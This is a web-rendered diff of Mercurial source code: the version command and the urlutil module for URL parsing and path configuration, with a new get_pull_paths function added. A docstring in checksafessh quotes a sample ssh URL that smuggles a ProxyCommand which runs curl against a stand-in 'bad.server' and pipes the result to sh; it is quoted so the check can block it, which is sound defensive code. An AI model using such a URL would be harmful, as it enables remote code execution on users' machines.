7869 7865 helpcategory=command.CATEGORY_HELP,
7870 7866 norepo=True,
7871 7867 intents={INTENT_READONLY},
7872 7868 )
7873 7869 def version_(ui, **opts):
7874 7870 """output version and copyright information
7875 7871
7876 7872 .. container:: verbose
7877 7873
7878 7874 Template:
7879 7875
7880 7876 The following keywords are supported. See also :hg:`help templates`.
7881 7877
7882 7878 :extensions: List of extensions.
7883 7879 :ver: String. Version number.
7884 7880
7885 7881 And each entry of ``{extensions}`` provides the following sub-keywords
7886 7882 in addition to ``{ver}``.
7887 7883
7888 7884 :bundled: Boolean. True if included in the release.
7889 7885 :name: String. Extension name.
7890 7886 """
7891 7887 opts = pycompat.byteskwargs(opts)
7892 7888 if ui.verbose:
7893 7889 ui.pager(b'version')
7894 7890 fm = ui.formatter(b"version", opts)
7895 7891 fm.startitem()
7896 7892 fm.write(
7897 7893 b"ver", _(b"Mercurial Distributed SCM (version %s)\n"), util.version()
7898 7894 )
7899 7895 license = _(
7900 7896 b"(see https://mercurial-scm.org for more information)\n"
7901 7897 b"\nCopyright (C) 2005-2021 Olivia Mackall and others\n"
7902 7898 b"This is free software; see the source for copying conditions. "
7903 7899 b"There is NO\nwarranty; "
7904 7900 b"not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n"
7905 7901 )
7906 7902 if not ui.quiet:
7907 7903 fm.plain(license)
7908 7904
7909 7905 if ui.verbose:
7910 7906 fm.plain(_(b"\nEnabled extensions:\n\n"))
7911 7907 # format names and versions into columns
7912 7908 names = []
7913 7909 vers = []
7914 7910 isinternals = []
7915 7911 for name, module in sorted(extensions.extensions()):
7916 7912 names.append(name)
7917 7913 vers.append(extensions.moduleversion(module) or None)
7918 7914 isinternals.append(extensions.ismoduleinternal(module))
7919 7915 fn = fm.nested(b"extensions", tmpl=b'{name}\n')
7920 7916 if names:
7921 7917 namefmt = b" %%-%ds " % max(len(n) for n in names)
7922 7918 places = [_(b"external"), _(b"internal")]
7923 7919 for n, v, p in zip(names, vers, isinternals):
7924 7920 fn.startitem()
7925 7921 fn.condwrite(ui.verbose, b"name", namefmt, n)
7926 7922 if ui.verbose:
7927 7923 fn.plain(b"%s " % places[p])
7928 7924 fn.data(bundled=p)
7929 7925 fn.condwrite(ui.verbose and v, b"ver", b"%s", v)
7930 7926 if ui.verbose:
7931 7927 fn.plain(b"\n")
7932 7928 fn.end()
7933 7929 fm.end()
7934 7930
7935 7931
7936 7932 def loadcmdtable(ui, name, cmdtable):
7937 7933 """Load command functions from specified cmdtable"""
7938 7934 overrides = [cmd for cmd in cmdtable if cmd in table]
7939 7935 if overrides:
7940 7936 ui.warn(
7941 7937 _(b"extension '%s' overrides commands: %s\n")
7942 7938 % (name, b" ".join(overrides))
7943 7939 )
7944 7940 table.update(cmdtable)
@@ -1,694 +1,703 b''
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from ..pycompat import (
13 13 getattr,
14 14 setattr,
15 15 )
16 16 from .. import (
17 17 encoding,
18 18 error,
19 19 pycompat,
20 20 urllibcompat,
21 21 )
22 22
23 23
24 24 if pycompat.TYPE_CHECKING:
25 25 from typing import (
26 26 Union,
27 27 )
28 28
29 29 urlreq = urllibcompat.urlreq
30 30
31 31
32 32 def getport(port):
33 33 # type: (Union[bytes, int]) -> int
34 34 """Return the port for a given network service.
35 35
36 36 If port is an integer, it's returned as is. If it's a string, it's
37 37 looked up using socket.getservbyname(). If there's no matching
38 38 service, error.Abort is raised.
39 39 """
40 40 try:
41 41 return int(port)
42 42 except ValueError:
43 43 pass
44 44
45 45 try:
46 46 return socket.getservbyname(pycompat.sysstr(port))
47 47 except socket.error:
48 48 raise error.Abort(
49 49 _(b"no port number associated with service '%s'") % port
50 50 )
51 51
52 52
53 53 class url(object):
54 54 r"""Reliable URL parser.
55 55
56 56 This parses URLs and provides attributes for the following
57 57 components:
58 58
59 59 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
60 60
61 61 Missing components are set to None. The only exception is
62 62 fragment, which is set to '' if present but empty.
63 63
64 64 If parsefragment is False, fragment is included in query. If
65 65 parsequery is False, query is included in path. If both are
66 66 False, both fragment and query are included in path.
67 67
68 68 See http://www.ietf.org/rfc/rfc2396.txt for more information.
69 69
70 70 Note that for backward compatibility reasons, bundle URLs do not
71 71 take host names. That means 'bundle://../' has a path of '../'.
72 72
73 73 Examples:
74 74
75 75 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
76 76 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
77 77 >>> url(b'ssh://[::1]:2200//home/joe/repo')
78 78 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
79 79 >>> url(b'file:///home/joe/repo')
80 80 <url scheme: 'file', path: '/home/joe/repo'>
81 81 >>> url(b'file:///c:/temp/foo/')
82 82 <url scheme: 'file', path: 'c:/temp/foo/'>
83 83 >>> url(b'bundle:foo')
84 84 <url scheme: 'bundle', path: 'foo'>
85 85 >>> url(b'bundle://../foo')
86 86 <url scheme: 'bundle', path: '../foo'>
87 87 >>> url(br'c:\foo\bar')
88 88 <url path: 'c:\\foo\\bar'>
89 89 >>> url(br'\\blah\blah\blah')
90 90 <url path: '\\\\blah\\blah\\blah'>
91 91 >>> url(br'\\blah\blah\blah#baz')
92 92 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
93 93 >>> url(br'file:///C:\users\me')
94 94 <url scheme: 'file', path: 'C:\\users\\me'>
95 95
96 96 Authentication credentials:
97 97
98 98 >>> url(b'ssh://joe:xyz@x/repo')
99 99 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
100 100 >>> url(b'ssh://joe@x/repo')
101 101 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
102 102
103 103 Query strings and fragments:
104 104
105 105 >>> url(b'http://host/a?b#c')
106 106 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
107 107 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
108 108 <url scheme: 'http', host: 'host', path: 'a?b#c'>
109 109
110 110 Empty path:
111 111
112 112 >>> url(b'')
113 113 <url path: ''>
114 114 >>> url(b'#a')
115 115 <url path: '', fragment: 'a'>
116 116 >>> url(b'http://host/')
117 117 <url scheme: 'http', host: 'host', path: ''>
118 118 >>> url(b'http://host/#a')
119 119 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
120 120
121 121 Only scheme:
122 122
123 123 >>> url(b'http:')
124 124 <url scheme: 'http'>
125 125 """
126 126
127 127 _safechars = b"!~*'()+"
128 128 _safepchars = b"/!~*'()+:\\"
129 129 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
130 130
131 131 def __init__(self, path, parsequery=True, parsefragment=True):
132 132 # type: (bytes, bool, bool) -> None
133 133 # We slowly chomp away at path until we have only the path left
134 134 self.scheme = self.user = self.passwd = self.host = None
135 135 self.port = self.path = self.query = self.fragment = None
136 136 self._localpath = True
137 137 self._hostport = b''
138 138 self._origpath = path
139 139
140 140 if parsefragment and b'#' in path:
141 141 path, self.fragment = path.split(b'#', 1)
142 142
143 143 # special case for Windows drive letters and UNC paths
144 144 if hasdriveletter(path) or path.startswith(b'\\\\'):
145 145 self.path = path
146 146 return
147 147
148 148 # For compatibility reasons, we can't handle bundle paths as
149 149 # normal URLS
150 150 if path.startswith(b'bundle:'):
151 151 self.scheme = b'bundle'
152 152 path = path[7:]
153 153 if path.startswith(b'//'):
154 154 path = path[2:]
155 155 self.path = path
156 156 return
157 157
158 158 if self._matchscheme(path):
159 159 parts = path.split(b':', 1)
160 160 if parts[0]:
161 161 self.scheme, path = parts
162 162 self._localpath = False
163 163
164 164 if not path:
165 165 path = None
166 166 if self._localpath:
167 167 self.path = b''
168 168 return
169 169 else:
170 170 if self._localpath:
171 171 self.path = path
172 172 return
173 173
174 174 if parsequery and b'?' in path:
175 175 path, self.query = path.split(b'?', 1)
176 176 if not path:
177 177 path = None
178 178 if not self.query:
179 179 self.query = None
180 180
181 181 # // is required to specify a host/authority
182 182 if path and path.startswith(b'//'):
183 183 parts = path[2:].split(b'/', 1)
184 184 if len(parts) > 1:
185 185 self.host, path = parts
186 186 else:
187 187 self.host = parts[0]
188 188 path = None
189 189 if not self.host:
190 190 self.host = None
191 191 # path of file:///d is /d
192 192 # path of file:///d:/ is d:/, not /d:/
193 193 if path and not hasdriveletter(path):
194 194 path = b'/' + path
195 195
196 196 if self.host and b'@' in self.host:
197 197 self.user, self.host = self.host.rsplit(b'@', 1)
198 198 if b':' in self.user:
199 199 self.user, self.passwd = self.user.split(b':', 1)
200 200 if not self.host:
201 201 self.host = None
202 202
203 203 # Don't split on colons in IPv6 addresses without ports
204 204 if (
205 205 self.host
206 206 and b':' in self.host
207 207 and not (
208 208 self.host.startswith(b'[') and self.host.endswith(b']')
209 209 )
210 210 ):
211 211 self._hostport = self.host
212 212 self.host, self.port = self.host.rsplit(b':', 1)
213 213 if not self.host:
214 214 self.host = None
215 215
216 216 if (
217 217 self.host
218 218 and self.scheme == b'file'
219 219 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
220 220 ):
221 221 raise error.Abort(
222 222 _(b'file:// URLs can only refer to localhost')
223 223 )
224 224
225 225 self.path = path
226 226
227 227 # leave the query string escaped
228 228 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
229 229 v = getattr(self, a)
230 230 if v is not None:
231 231 setattr(self, a, urlreq.unquote(v))
232 232
233 233 def copy(self):
234 234 u = url(b'temporary useless value')
235 235 u.path = self.path
236 236 u.scheme = self.scheme
237 237 u.user = self.user
238 238 u.passwd = self.passwd
239 239 u.host = self.host
240 240 u.path = self.path
241 241 u.query = self.query
242 242 u.fragment = self.fragment
243 243 u._localpath = self._localpath
244 244 u._hostport = self._hostport
245 245 u._origpath = self._origpath
246 246 return u
247 247
248 248 @encoding.strmethod
249 249 def __repr__(self):
250 250 attrs = []
251 251 for a in (
252 252 b'scheme',
253 253 b'user',
254 254 b'passwd',
255 255 b'host',
256 256 b'port',
257 257 b'path',
258 258 b'query',
259 259 b'fragment',
260 260 ):
261 261 v = getattr(self, a)
262 262 if v is not None:
263 263 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
264 264 return b'<url %s>' % b', '.join(attrs)
265 265
266 266 def __bytes__(self):
267 267 r"""Join the URL's components back into a URL string.
268 268
269 269 Examples:
270 270
271 271 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
272 272 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
273 273 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
274 274 'http://user:pw@host:80/?foo=bar&baz=42'
275 275 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
276 276 'http://user:pw@host:80/?foo=bar%3dbaz'
277 277 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
278 278 'ssh://user:pw@[::1]:2200//home/joe#'
279 279 >>> bytes(url(b'http://localhost:80//'))
280 280 'http://localhost:80//'
281 281 >>> bytes(url(b'http://localhost:80/'))
282 282 'http://localhost:80/'
283 283 >>> bytes(url(b'http://localhost:80'))
284 284 'http://localhost:80/'
285 285 >>> bytes(url(b'bundle:foo'))
286 286 'bundle:foo'
287 287 >>> bytes(url(b'bundle://../foo'))
288 288 'bundle:../foo'
289 289 >>> bytes(url(b'path'))
290 290 'path'
291 291 >>> bytes(url(b'file:///tmp/foo/bar'))
292 292 'file:///tmp/foo/bar'
293 293 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
294 294 'file:///c:/tmp/foo/bar'
295 295 >>> print(url(br'bundle:foo\bar'))
296 296 bundle:foo\bar
297 297 >>> print(url(br'file:///D:\data\hg'))
298 298 file:///D:\data\hg
299 299 """
300 300 if self._localpath:
301 301 s = self.path
302 302 if self.scheme == b'bundle':
303 303 s = b'bundle:' + s
304 304 if self.fragment:
305 305 s += b'#' + self.fragment
306 306 return s
307 307
308 308 s = self.scheme + b':'
309 309 if self.user or self.passwd or self.host:
310 310 s += b'//'
311 311 elif self.scheme and (
312 312 not self.path
313 313 or self.path.startswith(b'/')
314 314 or hasdriveletter(self.path)
315 315 ):
316 316 s += b'//'
317 317 if hasdriveletter(self.path):
318 318 s += b'/'
319 319 if self.user:
320 320 s += urlreq.quote(self.user, safe=self._safechars)
321 321 if self.passwd:
322 322 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
323 323 if self.user or self.passwd:
324 324 s += b'@'
325 325 if self.host:
326 326 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
327 327 s += urlreq.quote(self.host)
328 328 else:
329 329 s += self.host
330 330 if self.port:
331 331 s += b':' + urlreq.quote(self.port)
332 332 if self.host:
333 333 s += b'/'
334 334 if self.path:
335 335 # TODO: similar to the query string, we should not unescape the
336 336 # path when we store it, the path might contain '%2f' = '/',
337 337 # which we should *not* escape.
338 338 s += urlreq.quote(self.path, safe=self._safepchars)
339 339 if self.query:
340 340 # we store the query in escaped form.
341 341 s += b'?' + self.query
342 342 if self.fragment is not None:
343 343 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
344 344 return s
345 345
346 346 __str__ = encoding.strmethod(__bytes__)
347 347
348 348 def authinfo(self):
349 349 user, passwd = self.user, self.passwd
350 350 try:
351 351 self.user, self.passwd = None, None
352 352 s = bytes(self)
353 353 finally:
354 354 self.user, self.passwd = user, passwd
355 355 if not self.user:
356 356 return (s, None)
357 357 # authinfo[1] is passed to urllib2 password manager, and its
358 358 # URIs must not contain credentials. The host is passed in the
359 359 # URIs list because Python < 2.4.3 uses only that to search for
360 360 # a password.
361 361 return (s, (None, (s, self.host), self.user, self.passwd or b''))
362 362
363 363 def isabs(self):
364 364 if self.scheme and self.scheme != b'file':
365 365 return True # remote URL
366 366 if hasdriveletter(self.path):
367 367 return True # absolute for our purposes - can't be joined()
368 368 if self.path.startswith(br'\\'):
369 369 return True # Windows UNC path
370 370 if self.path.startswith(b'/'):
371 371 return True # POSIX-style
372 372 return False
373 373
374 374 def localpath(self):
375 375 # type: () -> bytes
376 376 if self.scheme == b'file' or self.scheme == b'bundle':
377 377 path = self.path or b'/'
378 378 # For Windows, we need to promote hosts containing drive
379 379 # letters to paths with drive letters.
380 380 if hasdriveletter(self._hostport):
381 381 path = self._hostport + b'/' + self.path
382 382 elif (
383 383 self.host is not None and self.path and not hasdriveletter(path)
384 384 ):
385 385 path = b'/' + path
386 386 return path
387 387 return self._origpath
388 388
389 389 def islocal(self):
390 390 '''whether localpath will return something that posixfile can open'''
391 391 return (
392 392 not self.scheme
393 393 or self.scheme == b'file'
394 394 or self.scheme == b'bundle'
395 395 )
396 396
397 397
398 398 def hasscheme(path):
399 399 # type: (bytes) -> bool
400 400 return bool(url(path).scheme) # cast to help pytype
401 401
402 402
403 403 def hasdriveletter(path):
404 404 # type: (bytes) -> bool
405 405 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
406 406
407 407
408 408 def urllocalpath(path):
409 409 # type: (bytes) -> bytes
410 410 return url(path, parsequery=False, parsefragment=False).localpath()
411 411
412 412
413 413 def checksafessh(path):
414 414 # type: (bytes) -> None
415 415 """check if a path / url is a potentially unsafe ssh exploit (SEC)
416 416
417 417 This is a sanity check for ssh urls. ssh will parse the first item as
418 418 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
419 419 Let's prevent these potentially exploited urls entirely and warn the
420 420 user.
421 421
422 422 Raises an error.Abort when the url is unsafe.
423 423 """
424 424 path = urlreq.unquote(path)
425 425 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
426 426 raise error.Abort(
427 427 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
428 428 )
429 429
430 430
431 431 def hidepassword(u):
432 432 # type: (bytes) -> bytes
433 433 '''hide user credential in a url string'''
434 434 u = url(u)
435 435 if u.passwd:
436 436 u.passwd = b'***'
437 437 return bytes(u)
438 438
439 439
440 440 def removeauth(u):
441 441 # type: (bytes) -> bytes
442 442 '''remove all authentication information from a url string'''
443 443 u = url(u)
444 444 u.user = u.passwd = None
445 445 return bytes(u)
446 446
447 447
448 448 def get_push_paths(repo, ui, dests):
449 449 """yields all the `path` selected as push destination by `dests`"""
450 450 if not dests:
451 451 dests = [None]
452 452 for dest in dests:
453 453 yield ui.getpath(dest, default=(b'default-push', b'default'))
454 454
455 455
456 def get_pull_paths(repo, ui, sources, default_branches=()):
457 """yields all the `(path, branch)` selected as pull source by `sources`"""
458 if not sources:
459 sources = [b'default']
460 for source in sources:
461 url = ui.expandpath(source)
462 yield parseurl(url, default_branches)
463
464
456 465 def parseurl(path, branches=None):
457 466 '''parse url#branch, returning (url, (branch, branches))'''
458 467 u = url(path)
459 468 branch = None
460 469 if u.fragment:
461 470 branch = u.fragment
462 471 u.fragment = None
463 472 return bytes(u), (branch, branches or [])
464 473
465 474
466 475 class paths(dict):
467 476 """Represents a collection of paths and their configs.
468 477
469 478 Data is initially derived from ui instances and the config files they have
470 479 loaded.
471 480 """
472 481
473 482 def __init__(self, ui):
474 483 dict.__init__(self)
475 484
476 485 for name, loc in ui.configitems(b'paths', ignoresub=True):
477 486 # No location is the same as not existing.
478 487 if not loc:
479 488 continue
480 489 loc, sub_opts = ui.configsuboptions(b'paths', name)
481 490 self[name] = path(ui, name, rawloc=loc, suboptions=sub_opts)
482 491
483 492 for name, p in sorted(self.items()):
484 493 p.chain_path(ui, self)
485 494
486 495 def getpath(self, ui, name, default=None):
487 496 """Return a ``path`` from a string, falling back to default.
488 497
489 498 ``name`` can be a named path or locations. Locations are filesystem
490 499 paths or URIs.
491 500
492 501 Returns None if ``name`` is not a registered path, a URI, or a local
493 502 path to a repo.
494 503 """
495 504 # Only fall back to default if no path was requested.
496 505 if name is None:
497 506 if not default:
498 507 default = ()
499 508 elif not isinstance(default, (tuple, list)):
500 509 default = (default,)
501 510 for k in default:
502 511 try:
503 512 return self[k]
504 513 except KeyError:
505 514 continue
506 515 return None
507 516
508 517 # Most likely empty string.
509 518 # This may need to raise in the future.
510 519 if not name:
511 520 return None
512 521
513 522 try:
514 523 return self[name]
515 524 except KeyError:
516 525 # Try to resolve as a local path or URI.
517 526 try:
518 527 # we pass the ui instance are warning might need to be issued
519 528 return path(ui, None, rawloc=name)
520 529 except ValueError:
521 530 raise error.RepoError(_(b'repository %s does not exist') % name)
522 531
523 532
524 533 _pathsuboptions = {}
525 534
526 535
527 536 def pathsuboption(option, attr):
528 537 """Decorator used to declare a path sub-option.
529 538
530 539 Arguments are the sub-option name and the attribute it should set on
531 540 ``path`` instances.
532 541
533 542 The decorated function will receive as arguments a ``ui`` instance,
534 543 ``path`` instance, and the string value of this option from the config.
535 544 The function should return the value that will be set on the ``path``
536 545 instance.
537 546
538 547 This decorator can be used to perform additional verification of
539 548 sub-options and to change the type of sub-options.
540 549 """
541 550
542 551 def register(func):
543 552 _pathsuboptions[option] = (attr, func)
544 553 return func
545 554
546 555 return register
547 556
548 557
549 558 @pathsuboption(b'pushurl', b'pushloc')
550 559 def pushurlpathoption(ui, path, value):
551 560 u = url(value)
552 561 # Actually require a URL.
553 562 if not u.scheme:
554 563 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
555 564 return None
556 565
557 566 # Don't support the #foo syntax in the push URL to declare branch to
558 567 # push.
559 568 if u.fragment:
560 569 ui.warn(
561 570 _(
562 571 b'("#fragment" in paths.%s:pushurl not supported; '
563 572 b'ignoring)\n'
564 573 )
565 574 % path.name
566 575 )
567 576 u.fragment = None
568 577
569 578 return bytes(u)
570 579
571 580
572 581 @pathsuboption(b'pushrev', b'pushrev')
573 582 def pushrevpathoption(ui, path, value):
574 583 return value
575 584
576 585
577 586 class path(object):
578 587 """Represents an individual path and its configuration."""
579 588
580 589 def __init__(self, ui, name, rawloc=None, suboptions=None):
581 590 """Construct a path from its config options.
582 591
583 592 ``ui`` is the ``ui`` instance the path is coming from.
584 593 ``name`` is the symbolic name of the path.
585 594 ``rawloc`` is the raw location, as defined in the config.
586 595 ``pushloc`` is the raw locations pushes should be made to.
587 596
588 597 If ``name`` is not defined, we require that the location be a) a local
589 598 filesystem path with a .hg directory or b) a URL. If not,
590 599 ``ValueError`` is raised.
591 600 """
592 601 if not rawloc:
593 602 raise ValueError(b'rawloc must be defined')
594 603
595 604 # Locations may define branches via syntax <base>#<branch>.
596 605 u = url(rawloc)
597 606 branch = None
598 607 if u.fragment:
599 608 branch = u.fragment
600 609 u.fragment = None
601 610
602 611 self.url = u
603 612 # the url from the config/command line before dealing with `path://`
604 613 self.raw_url = u.copy()
605 614 self.branch = branch
606 615
607 616 self.name = name
608 617 self.rawloc = rawloc
609 618 self.loc = b'%s' % u
610 619
611 620 self._validate_path()
612 621
613 622 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
614 623 self._own_sub_opts = {}
615 624 if suboptions is not None:
616 625 self._own_sub_opts = suboptions.copy()
617 626 sub_opts.update(suboptions)
618 627 self._all_sub_opts = sub_opts.copy()
619 628
620 629 self._apply_suboptions(ui, sub_opts)
621 630
622 631 def chain_path(self, ui, paths):
623 632 if self.url.scheme == b'path':
624 633 assert self.url.path is None
625 634 try:
626 635 subpath = paths[self.url.host]
627 636 except KeyError:
628 637 m = _('cannot use `%s`, "%s" is not a known path')
629 638 m %= (self.rawloc, self.url.host)
630 639 raise error.Abort(m)
631 640 if subpath.raw_url.scheme == b'path':
632 641 m = _('cannot use `%s`, "%s" is also define as a `path://`')
633 642 m %= (self.rawloc, self.url.host)
634 643 raise error.Abort(m)
635 644 self.url = subpath.url
636 645 self.rawloc = subpath.rawloc
637 646 self.loc = subpath.loc
638 647 if self.branch is None:
639 648 self.branch = subpath.branch
640 649 else:
641 650 base = self.rawloc.rsplit(b'#', 1)[0]
642 651 self.rawloc = b'%s#%s' % (base, self.branch)
643 652 suboptions = subpath._all_sub_opts.copy()
644 653 suboptions.update(self._own_sub_opts)
645 654 self._apply_suboptions(ui, suboptions)
646 655
647 656 def _validate_path(self):
648 657 # When given a raw location but not a symbolic name, validate the
649 658 # location is valid.
650 659 if (
651 660 not self.name
652 661 and not self.url.scheme
653 662 and not self._isvalidlocalpath(self.loc)
654 663 ):
655 664 raise ValueError(
656 665 b'location is not a URL or path to a local '
657 666 b'repo: %s' % self.rawloc
658 667 )
659 668
660 669 def _apply_suboptions(self, ui, sub_options):
661 670 # Now process the sub-options. If a sub-option is registered, its
662 671 # attribute will always be present. The value will be None if there
663 672 # was no valid sub-option.
664 673 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
665 674 if suboption not in sub_options:
666 675 setattr(self, attr, None)
667 676 continue
668 677
669 678 value = func(ui, self, sub_options[suboption])
670 679 setattr(self, attr, value)
671 680
672 681 def _isvalidlocalpath(self, path):
673 682 """Returns True if the given path is a potentially valid repository.
674 683 This is its own function so that extensions can change the definition of
675 684 'valid' in this case (like when pulling from a git repo into a hg
676 685 one)."""
677 686 try:
678 687 return os.path.isdir(os.path.join(path, b'.hg'))
679 688 # Python 2 may return TypeError. Python 3, ValueError.
680 689 except (TypeError, ValueError):
681 690 return False
682 691
683 692 @property
684 693 def suboptions(self):
685 694 """Return sub-options and their values for this path.
686 695
687 696 This is intended to be used for presentation purposes.
688 697 """
689 698 d = {}
690 699 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
691 700 value = getattr(self, attr)
692 701 if value is not None:
693 702 d[subopt] = value
694 703 return d
General Comments 0
You need to be logged in to leave comments. Login now